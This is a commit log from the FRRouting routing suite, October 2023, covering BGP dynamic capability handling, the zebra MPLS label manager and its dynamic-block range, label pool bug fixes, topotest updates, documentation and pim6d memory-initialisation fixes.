Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agobgpd: Handle FQDN capability using dynamic capabilities
Donatas Abraitis [Fri, 29 Sep 2023 07:21:34 +0000 (10:21 +0300)]
bgpd: Handle FQDN capability using dynamic capabilities

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14614 from opensourcerouting/feature/bgpd_handle_orf_capability_v...
Donald Sharp [Thu, 19 Oct 2023 20:01:24 +0000 (16:01 -0400)]
Merge pull request #14614 from opensourcerouting/feature/bgpd_handle_orf_capability_via_dynamic_capability

bgpd: Handle ORF capability using dynamic capabilities

18 months agoMerge pull request #14618 from donaldsharp/watchfrr_extend
Donatas Abraitis [Thu, 19 Oct 2023 15:48:37 +0000 (18:48 +0300)]
Merge pull request #14618 from donaldsharp/watchfrr_extend

watchfrr: Extend ignore option to daemon being killed

18 months agoMerge pull request #14615 from opensourcerouting/fix/rename_test_function_for_bgp_dyn...
Donald Sharp [Thu, 19 Oct 2023 12:15:15 +0000 (08:15 -0400)]
Merge pull request #14615 from opensourcerouting/fix/rename_test_function_for_bgp_dynamic_capability

tests: Rename test_bgp_dynamic_capability_role

18 months agoMerge pull request #14616 from subsecond/patch-5
Donald Sharp [Thu, 19 Oct 2023 12:14:53 +0000 (08:14 -0400)]
Merge pull request #14616 from subsecond/patch-5

doc: add "enforce-first-as" to BGP documentation

18 months agowatchfrr: Extend ignore option to daemon being killed
Donald Sharp [Wed, 18 Oct 2023 18:30:03 +0000 (14:30 -0400)]
watchfrr: Extend ignore option to daemon being killed

When testing GR features, it is desired to kill bgp
(or really any daemon )and not immediately have bgp start up again.
Modify the code to not attempt to restart the daemon
by hand to let us developers work when the `watchfrr ignore XXX`
command is issued.

Testing:
watchfrr ignore bgpd
kill -9 bgpd
start bgp by `/usr/lib/frr/watchfrr.sh start bgpd` at some point in time
in the future

leaf-1# show watchfrr
watchfrr global phase: Idle
 Restart Command: "/usr/lib/frr/watchfrr.sh restart %s"
 Start Command: "/usr/lib/frr/watchfrr.sh start %s"
 Stop Command: "/usr/lib/frr/watchfrr.sh stop %s"
 Min Restart Interval: 60
 Max Restart Interval: 600
 Restart Timeout: 90
  zebra                Up
  bgpd                 Up/Ignoring Timeout
  staticd              Up
leaf-1#

Signed-off-by: Donald Sharp <sharpd@nvidia.com>
18 months agozebra: do not accept static label requests conflicting with dynamic-block
Philippe Guibert [Fri, 6 Oct 2023 12:53:31 +0000 (14:53 +0200)]
zebra: do not accept static label requests conflicting with dynamic-block

A static label allocation should not be accepted if the desired range
conflicts with the configured dynamic-block configuration.

Do not accept such label requests, only when dynamic blocks are
configured.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agotopotests: add bgp_l3vpn_label_export test
Louis Scalbert [Tue, 26 Sep 2023 12:29:42 +0000 (14:29 +0200)]
topotests: add bgp_l3vpn_label_export test

There is no test that checks for the label allocation mechanisms
involved when using BGP and/or LDP.
- Some configuration changes are applied in the BGP configuration,
and the impact is checked on the BGP contexts, and on the label
manager.
- The label manager dynamic range is reconfigured, BGP auto mode
is checked against the new range, along with LDP when restarting.

Signed-off-by: Louis Scalbert <louis.scalbert@6wind.com>
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: dump the dynamic-block bounds on vty command
Philippe Guibert [Thu, 5 Oct 2023 14:08:32 +0000 (16:08 +0200)]
zebra: dump the dynamic-block bounds on vty command

The 'show debugging label-table' needs to dump
dynamic block information.
Display the lower and upper values for the dynamic
block.

> # show debugging label-table json
> {
>     "dynamicBlock":{
>     "lowerBound":16,
>     "upperBound":1048575
>   },
> [..]
> # show debugging label-table
> Dynamic block: lower-bound 16, upper-bound 1048575
> [..]

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: add json support to 'show debugging label-table'
Philippe Guibert [Thu, 5 Oct 2023 07:14:45 +0000 (09:14 +0200)]
zebra: add json support to 'show debugging label-table'

Add the json keyword to dump the label chunks of
the zebra label manager in json format.

>dut# show debugging label-table json
> {
>   "chunks":[
>     {
>       "protocol":"bgp",
>       "instance":0,
>       "sessionId":1,
>       "start":16,
>       "end":16,
>       "dynamic":true
>     },
>     {
>       "protocol":"ldp",
>       "instance":0,
>       "sessionId":1,
>       "start":17,
>       "end":80,
>       "dynamic":true
>     }
>   ]
> }

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agotopotests: bgp_srv6l3vpn_to_bgp_vrf[2,3], ignore tableVersion
Philippe Guibert [Wed, 4 Oct 2023 07:30:22 +0000 (09:30 +0200)]
topotests: bgp_srv6l3vpn_to_bgp_vrf[2,3], ignore tableVersion

The expected tableVersion is wrong, when checking r1 table.

The tableVersion value increments at each route updates. The
previous commit brought an additional route update with the
'vpn_leak_postchange_all()' call.

Keep the function call, and do not check the table version
in bgp_srv6l3vpn_to_bgp_vrf[2,3] tests.

Fixes: 205b62ffae2c ("bgpd: fix hardset l3vpn label available in mpls pool")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agodoc: add 'mpls label dynamic-block' information
Philippe Guibert [Tue, 3 Oct 2023 08:58:25 +0000 (10:58 +0200)]
doc: add 'mpls label dynamic-block' information

Add information on the 'mpls label dynamic-block'
command.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agodoc: add "enforce-first-as" to BGP doc
Manuel Schweizer [Wed, 18 Oct 2023 15:11:22 +0000 (17:11 +0200)]
doc: add "enforce-first-as" to BGP doc

With the deprecation of the global "bgp enforce-first-as" command back
in https://github.com/FRRouting/frr/pull/2259 the newly introduced
option to enable that setting on a specific peer was not documented.

This commit adds the necessary documentation and states the command's
default.

Signed-off-by: Manuel Schweizer <manuel.schweizer@cloudscale.ch>
18 months agobgpd: Handle ORF capability using dynamic capabilities
Donatas Abraitis [Tue, 17 Oct 2023 13:01:33 +0000 (16:01 +0300)]
bgpd: Handle ORF capability using dynamic capabilities

Add an ability to enable/disable ORF capability dynamically without tearing
down the session.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Rename test_bgp_dynamic_capability_role
Donatas Abraitis [Wed, 18 Oct 2023 09:31:22 +0000 (12:31 +0300)]
tests: Rename test_bgp_dynamic_capability_role

Was copied, but forgot to rename accordingly.

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotopotests: fix bgp_vpnv[4,6]_per_nexthop prefix not updated
Philippe Guibert [Mon, 2 Oct 2023 19:17:20 +0000 (21:17 +0200)]
topotests: fix bgp_vpnv[4,6]_per_nexthop prefix not updated

The bgp_vpnv[4,6]_table_check() functions analyze the
expected label value of VPN prefixes present in the BGP table.
However, it doesn't verify if the prefixes exist before doing
this. Consequently, the tests will fail if the prefixes do not
show up immediately.
Ensure that all expected VPN prefixes are present before
executing the function.

Fixes: ae5a6bc1f6ba ("topotests: add bgp mpls allocation per next-hop test")
Fixes: 37a02a8dcb0d ("topotests: add bgp_vpnv6 test allocation")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: add label chunk allocation in the dynamic block range
Philippe Guibert [Tue, 3 Oct 2023 08:22:05 +0000 (10:22 +0200)]
zebra: add label chunk allocation in the dynamic block range

This commit adds support for the label chunk allocation in
the configured dynamic block range.

An additional check ensures the upper bound does not go
over the upper bound of the dynamic-block.
Otherwise, a chunk is created with the lower bound set
to the first label element available in the defined
range.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: rework dynamic label request algorithm
Philippe Guibert [Thu, 5 Oct 2023 13:49:10 +0000 (15:49 +0200)]
zebra: rework dynamic label request algorithm

The label chunk algorithm needs to be revisited to support a
configured dynamic-block or the default one.

Reuse the 'lbl_mgr.dynamic_block_[start/end]' variables,
whereever needed, and simplify the algorithm.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: add 'mpls label dynamic-block' command
Philippe Guibert [Tue, 3 Oct 2023 08:22:05 +0000 (10:22 +0200)]
zebra: add 'mpls label dynamic-block' command

Hardset label values (eg. ISIS Segment-routing label blocks,
hardset BGP L3VPN service label) may conflict with label chunks
dynamically allocated by zebra.

Add an optional 'mpls label dynamic-block' command to let the user
define a range that is not in conflict with the hardset values.
Restarting control planes is recommended when dynamic label
chunks are already allocated. Command is aborted when any hardset
label chunks conflict with the dynamic block.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra: fix label allocation when room space before first chunk
Philippe Guibert [Tue, 3 Oct 2023 15:27:42 +0000 (17:27 +0200)]
zebra: fix label allocation when room space before first chunk

After ISIS first allocates a label chunk at [1000;2000],
the '16' label value is not used when BGP tries to
allocate a label chunk in auto mode. This does not happen
when BGP is the only one to do the label allocation.

When a label chunk has been accepted, the next label
request checks if there is room space before the existing
label chunk, and uses the lower label value to 17, and not
16.

Fix this by changing the previous range end 'prev_end' label
value to 15 which is the end of the reserved MPLS label
range.

Fixes: 3c8449794318 ("zebra: label manager should never return a reserved block")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agozebra, test: mark mpls label chunks as dynamic or static
Philippe Guibert [Wed, 4 Oct 2023 12:57:27 +0000 (14:57 +0200)]
zebra, test: mark mpls label chunks as dynamic or static

The zebra label manager stores the mpls label chunks,
but does not record if the label request was for a
dynamic or a static chunk.

For all label requests accepted, mark the label chunk
if the 'base' parameter is set to MPLS_LABEL_BASE_ANY,
unmark it otherwise.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: fix wrong 'pending' labelpool counter value at startup
Philippe Guibert [Fri, 29 Sep 2023 15:35:54 +0000 (17:35 +0200)]
bgpd: fix wrong 'pending' labelpool counter value at startup

If BGP starts with a l3vpn configuration, the 'pending' value
of the 'show bgp labelpool summary' command is set to 128,
whereas the 'pending' value is 0 if the l3vpn configuration is
applied after.

with no config at startup:
> show bgp labelpool summary
> Labelpool Summary
> -----------------
> Ledger:       1
> InUse:        1
> Requests:     0
> LabelChunks:  1
> Pending:      0
> Reconnects:   1

with config at startup:
> show bgp labelpool summary
> Labelpool Summary
> -----------------
> Ledger:       1
> InUse:        1
> Requests:     0
> LabelChunks:  1
> Pending:      128
> Reconnects:   1

When BGP configuration is applied at startup, the label request fails,
because the zapi connection with zebra is not yet up. At zebra
up event, the label request is done again, succeeds, decrements the
'pending_count' value in 'bgp_lp_event_chunk() function, then sets
the 'pending_count' value to the 'labels_needed' value.

This method was correct when label requests were asyncronous: the
'pending_count' value was first set, then decremented. In syncronous
label requests, the operations are swapped.

Fix this by incrementing the expected 'labels_needed' value instead.

Fixes: 0043ebab996e ("bgpd: Use synchronous way to get labels from Zebra")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: fix release label chunk when label pool unused
Philippe Guibert [Wed, 27 Sep 2023 05:58:22 +0000 (07:58 +0200)]
bgpd: fix release label chunk when label pool unused

A label chunk is used by BGP for L3VPN or LU purposes,
by picking up labels from that chunk; but when those
labels are release, the label chunks are never released.

The below configuration sequence shows that the label
chunks are not released.

> router bgp 65500
>  bgp router-id 1.1.1.1
>  !
>  address-family ipv4 unicast
>   label vpn export auto
>   rd vpn export 55:1
>   rt vpn both 55:1
>   export vpn
>   import vpn
> [..]
>   no label vpn export auto
> [..]
> # show bgp labelpool summary
> [..]
> LabelChunks:  1
> Pending:      128
> [..]

The '128' value stands for the default label chunk size,
which is not released after unconfiguration.

Fix this by checking after each label release, that
the label chunk is still used. If not, release it.
Reset the 'next_chunksize' value to the default value.

Fixes: 955bfd984ffd ("bgpd: dynamic mpls label pool")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agotopotests: fix accept_own test, bgp label value conflict with ldp
Philippe Guibert [Thu, 7 Sep 2023 16:31:47 +0000 (18:31 +0200)]
topotests: fix accept_own test, bgp label value conflict with ldp

When configuring manual label value in BGP L3VPN, the label
allocation conflicts with the LDP label pool which is in use.
Choose BGP label values different that the ones from LDP.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: fix label allocation should not be allocated at startup
Philippe Guibert [Fri, 1 Sep 2023 15:51:54 +0000 (17:51 +0200)]
bgpd: fix label allocation should not be allocated at startup

BGP always asks zebra for a chunk of MPLS label even if it doesn't need it.
Fix this by correcting the rounding up "labels_needed" formula.

Fixes: 80853c2ec7f8 ("bgpd: improve labelpool performance at scale")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: fix hardset l3vpn label available in mpls pool
Philippe Guibert [Fri, 1 Sep 2023 15:14:06 +0000 (17:14 +0200)]
bgpd: fix hardset l3vpn label available in mpls pool

Today, when configuring BGP L3VPN mpls, the operator may
use that command to hardset a label value:

> router bgp 65500 vrf vrf1
> address-family ipv4 unicast
> label vpn export <hardset_label_value>

Today, BGP uses this value without checks, leading to potential
conflicts with other control planes like LDP. For instance, if
LDP initiates with a label chunk of [16;72] and BGP also uses the
50 label value, a conflict arises.

The 'label manager' service in zebra oversees label allocations.
While all the control plane daemons use it, BGP doesn't when a
hardset label is in place.

This update fixes this problem. Now, when a hardset label is set for
l3vpn export, a request is made to the label manager for approval,
ensuring no conflicts with other daemons. But, this means some existing
BGP configurations might become non-operational if they conflict with
labels already allocated to another daemon but not used.

note: Labels below 16 are reserved and won't be checked for consistency
by the label manager.

Fixes: ddb5b4880ba8 ("bgpd: vpn-vrf route leaking")
Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agobgpd: rewrite 'bgp label vpn export' command
Philippe Guibert [Sun, 24 Sep 2023 20:16:36 +0000 (22:16 +0200)]
bgpd: rewrite 'bgp label vpn export' command

The original 'bgp label vpn export' code is confusing,
the 'no form' actions are mixed with the positive form.

Fix this by rewriting the code.

Signed-off-by: Philippe Guibert <philippe.guibert@6wind.com>
18 months agoMerge pull request #14607 from mobash-rasool/fixes2
Donatas Abraitis [Tue, 17 Oct 2023 14:34:11 +0000 (17:34 +0300)]
Merge pull request #14607 from mobash-rasool/fixes2

pim6d: valgrind issue fixes

18 months agobgpd: Reuse orf_type_str/orf_mode_str for dynamic capabilities code
Donatas Abraitis [Tue, 17 Oct 2023 13:01:00 +0000 (16:01 +0300)]
bgpd: Reuse orf_type_str/orf_mode_str for dynamic capabilities code

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agotests: Check if ORF capability works with BGP dynamic capabilities
Donatas Abraitis [Tue, 17 Oct 2023 13:00:00 +0000 (16:00 +0300)]
tests: Check if ORF capability works with BGP dynamic capabilities

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agomgmtd, lib: remove batch ids from cfg apply reply
Igor Ryzhov [Tue, 17 Oct 2023 12:02:57 +0000 (15:02 +0300)]
mgmtd, lib: remove batch ids from cfg apply reply

The config is always applied fully, all batches are included. There's no
need to pass a list of applied batches as it always contains all of
them.

Signed-off-by: Igor Ryzhov <iryzhov@nfware.com>
18 months agopim6d: valgrind issue fixes
Mobashshera Rasool [Tue, 17 Oct 2023 04:40:05 +0000 (21:40 -0700)]
pim6d: valgrind issue fixes

Problem Statement:
===================
Syscall param sendmsg(msg.msg_iov[0]) points to uninitialised byte(s)
at 0x4975157: sendmsg (sendmsg.c:28)
==2263111==    by 0x1413BE: pim_msg_send_frame (pim_pim.c:629)
==2263111==    by 0x1413BE: pim_msg_send (pim_pim.c:743)
==2263111==    by 0x1425DC: pim_register_send (pim_register.c:332)
==2263111==    by 0x1427EE: pim_null_register_send (pim_register.c:443)
==2263111==    by 0x14D228: pim_upstream_register_stop_timer (pim_upstream.c:1608)
==2263111==    by 0x48CE6DF: thread_call (thread.c:1693)
==2263111==    by 0x4899EFF: frr_run (libfrr.c:1068)
==2263111==    by 0x11D035: main (pim6_main.c:190)
==2263111==  Address 0x1ffeffdcb1 is on thread 1's stack
==2263111==  in frame #2, created by pim_register_send (pim_register.c:273)
==2263111==  Uninitialised value was created by a stack allocation
==2263111==    at 0x142690: pim_null_register_send (pim_register.c:389)

RCA:
====================
1. All members of struct pim_msg_header were not initiliased while sending
null register packet. Therefore when the pointers are assigned while
sending the msg via sendmsg, it complains the pointer points to
uninitialised byte.
2. struct ipv6_ph ph was also not initialised.

Fix:
====================
Initialised all the members using memset.

Signed-off-by: Mobashshera Rasool <mrasool@vmware.com>
18 months agoMerge pull request #14599 from opensourcerouting/fix/issue_14419
Donald Sharp [Mon, 16 Oct 2023 14:20:23 +0000 (10:20 -0400)]
Merge pull request #14599 from opensourcerouting/fix/issue_14419

tests: Check if evpn route-map match by route type works

18 months agotests: Check if evpn route-map match by route type works
Donatas Abraitis [Sat, 14 Oct 2023 08:45:56 +0000 (11:45 +0300)]
tests: Check if evpn route-map match by route type works

Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
18 months agoMerge pull request #14585 from donaldsharp/send_capability
Donatas Abraitis [Sat, 14 Oct 2023 17:22:37 +0000 (20:22 +0300)]
Merge pull request #14585 from donaldsharp/send_capability

ldpd: Clarify error situation for different problems

18 months agoMerge pull request #14582 from cloudscale-ch/denis/topotest-for-14488
Donald Sharp [Sat, 14 Oct 2023 13:42:49 +0000 (09:42 -0400)]
Merge pull request #14582 from cloudscale-ch/denis/topotest-for-14488

tests: Add OSPF test for issue 14488

18 months agoMerge pull request #14590 from opensourcerouting/ospf6d-fwd-addr
Donald Sharp [Fri, 13 Oct 2023 20:27:30 +0000 (16:27 -0400)]
Merge pull request #14590 from opensourcerouting/ospf6d-fwd-addr

ospf6d: fix setting of the forwarding address in AS-External LSAs